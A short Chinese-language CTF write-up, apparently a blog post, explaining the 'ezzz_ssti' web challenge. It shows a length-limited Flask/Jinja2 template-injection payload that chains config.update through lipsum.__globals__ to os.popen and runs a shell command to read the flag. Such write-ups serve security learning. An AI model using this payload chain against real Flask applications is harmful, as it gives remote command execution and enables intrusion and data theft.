dsbctf

WEB

ezzz_ssti

image-20241114195211317

输入49,回显49,是个ssti,fuzz了一下发现没有过滤,只是限制了长度,测了一下知道长度限制为40

具体原理参考:https://blog.csdn.net/weixin_43995419/article/details/126811287

Flask 框架中存在config全局对象,用来保存配置信息。config 对象实质上是一个字典的子类,可以像字典一样操作,而update方法又可以更新python中的字典。我们就可以利用 Jinja 模板的 set 语句配合字典的 update() 方法来更新 config 全局对象,将字典中的lipsum.__globals__更新为g,就可以达到在 config 全局对象中分段保存 Payload,从而绕过长度限制。

payload:

1
2
3
4
5
{%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%} //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%} //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%} //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /t*").read()}}

不确定字典中键的值是否更新的话可以用print查看

1
2
{%print(config)%}                          //输出config字典的所有键值对
{%print(config.o)%} //输出

dsbctf
http://example.com/2024/11/14/比赛/dsbctf/
作者
Englobe
发布于
2024年11月14日
许可协议